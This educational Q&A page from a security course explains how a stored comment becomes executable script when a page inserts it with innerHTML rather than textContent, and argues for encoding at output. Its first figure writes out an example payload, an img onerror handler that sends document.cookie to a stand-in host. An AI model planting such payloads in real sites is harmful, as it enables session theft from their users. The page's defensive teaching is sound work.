Basis Lab

Answers · Keeping it safe

How does text I saved in a comment end up running as JavaScript in someone else's browser?

In shortThe comment stayed text in storage; a page that later pasted it into its own markup made the browser read it as code.

Nothing ran when you typed it, and nothing ran when the server saved it. It ran the next time somebody opened the page that lists comments, because that page built its markup by joining strings together and handed your characters to the document parser, which has no way to tell words a person typed from markup the page itself wrote. The value was inert for two hops and became instructions on the third. The change happened on the way out, in the one function that received it, not on the way in.

The hop where it changes

A comment travels the way any field travels. The form posts it, the server writes it into a column unchanged, and every screen that shows comments reads that column back. Nothing in the middle of that is wrong: characters went in and the same characters came out, byte for byte. What differs is what each reader does with the string. One assigns it to a node's text, and the browser draws it as characters. Another concatenates it into a larger string and assigns the result to the page's markup, and the browser parses it. In most frameworks the two calls differ by a single word.

FIG 1One stored value, two readers
javascript
// stored unchanged, and able to contain anything at all
const body = 'Nice post <img src=x onerror="fetch(\'https://c.example/?d=\'+document.cookie)">';

// reader one: displays it
node.textContent = body;                    // drawn as characters

// reader two: assembles markup
list.innerHTML += '<li>' + body + '</li>';  // parsed as document
Both readers receive the identical string, unaltered since it arrived. What decides the outcome is which property takes it, and the value itself has no say in that.

Put numbers on the path. Suppose six fields on the system can be filled by anybody who can sign up: the display name, the comment body, the website on a profile, the alt text on an avatar, a location line and a signature. Suppose each of them is read by four consumers: the profile page, the member list, the weekly digest sent by mail, and the operator screen used by staff. That is twenty-four separate journeys from a box somebody can type in to a place that interprets what they typed.

d=s⋅n=6×4=24d = s \cdot n = 6 \times 4 = 24

The count is against cleaning on the way in

The natural guess is that a value which was only ever text stays text, and that cleaning it once, on arrival, settles the matter. Neither holds. Inertness is not a property of the string; it is a property of the place the string comes to rest, and the same string needs a different treatment at each place. Escaping the characters that matter in HTML is correct for exactly one of the twenty-four paths above and wrong for the rest, because a mail template, a JSON payload read by an administrative page, a CSV export opened in a spreadsheet and an attribute value each undo or ignore a different part of what you did. Encoding at output is one decision per consumer, so four. Cleaning on arrival is one decision per path, so twenty-four, and twenty-four is a floor rather than a ceiling, because the consumers get written later by other people and nobody goes back to revisit the cleaning.

FIG 2
Where it landsWhat happens to it thereWhat correct handling is
The text of an elementDrawn as charactersAlready correct, provided the code sets text and not markup
An attribute valueCloses the attribute early and opens anotherEncode for that attribute, quotes included
The target of a linkFollows whatever scheme is written thereParse it, allow the intended schemes, reject the rest
A server-side templateCompiled and run before any page existsNever build a template from supplied text

The address is the destination that defeats encoding completely. If a profile carries a website and the page writes it into the target of a link, then a value naming a script scheme is perfectly well-formed markup containing no character that encoding would touch. The rule there is not about characters at all: permit the schemes you intend, reject everything else, and decide by parsing the value rather than by searching it for a suspicious word, since the word is not the thing that executes.

The repair is to encode at the point of output, in the engine that knows which context the value is going into, and to keep the value unaltered until then. In practice that means finding the function in your framework that means insert this as markup, listing every call, and justifying each one, then either switching it to set text or passing the value through a real parser that emits only permitted elements. Behind that, a content policy on the page that refuses to execute anything not explicitly allowed turns a missed spot into a blocked attempt and a line in a log, which is worth having precisely because the first layer depends on every one of those call sites being right.

The identical shape sits on the server, where the consequences are worse because the interpreter runs with your credentials: a template compiled from supplied text, a serialised object turned back into an object, a value that reaches a shell, an evaluator handed input. Those are not encoded away, they are removed, and the value never goes there. The one honest exception is rich text, where markup is the point; the answer is a maintained parser that builds a document and emits only elements and attributes on a permitted list, adopted rather than written. As soon as the value is an address or a template rather than a paragraph, reasoning about characters stops being the right frame, and the question becomes what the receiving syntax will do with the value rather than what the value contains.

Worth keeping

  • A string is made dangerous by the place it lands, not by anything it contains, so cleaning it before it lands is done without knowing what it is being cleaned for.
  • Two functions that differ by one word, setting the text and setting the markup, are the difference between displaying a value and executing it.
  • Encoding at output is one decision per destination, while cleaning at input is one decision per path, and the number of paths grows every time somebody writes a new consumer.

Where this goes next

This question is one step of The Mistakes Behind Most Breaches, a course that works through its subject from the beginning. The page that teaches this part of it is Running What You Were Given, and it reads the whole way through whether or not you have an account.

What an account changes is the practice: problems standing under every idea, marked with a reason rather than a tick, in a copy of the course that is yours.

Read that pageThe whole course

Other questions people ask about this

  1. Why does escaping the quotes in user input not stop SQL injection?Escaping quotes only cleans one context; SQL injection stops only when query text and values travel separately, so the value is never parsed as code.
  2. Why isn't encrypting the password enough to keep it safe if the database leaks?Because encryption can be undone by your own login code, so the key that lets you check a password usually sits near the database, and anyone who copies both can read every password.
  3. How do I stop one service from reading another service's password?Give every service its own identity, grant only the credentials it uses, and test that it cannot read another service's password.
  4. Is it actually OK to look at a risk and decide not to fix it?Yes, if the decision not to fix it is written down with a reason, a named owner and a date or trigger for looking again; otherwise it is just an oversight.
  5. Why does storing a random salt with each hash stop rainbow tables?Because the salt is different for every account, a table built once from common passwords matches at most one row, so the work has to be redone account by account.
  6. Isn't threat modelling just brainstorming what could go wrong?No. It is a fixed checklist of six questions asked at every boundary, which gives a list with a known shape and a record of what was examined.

Read alongside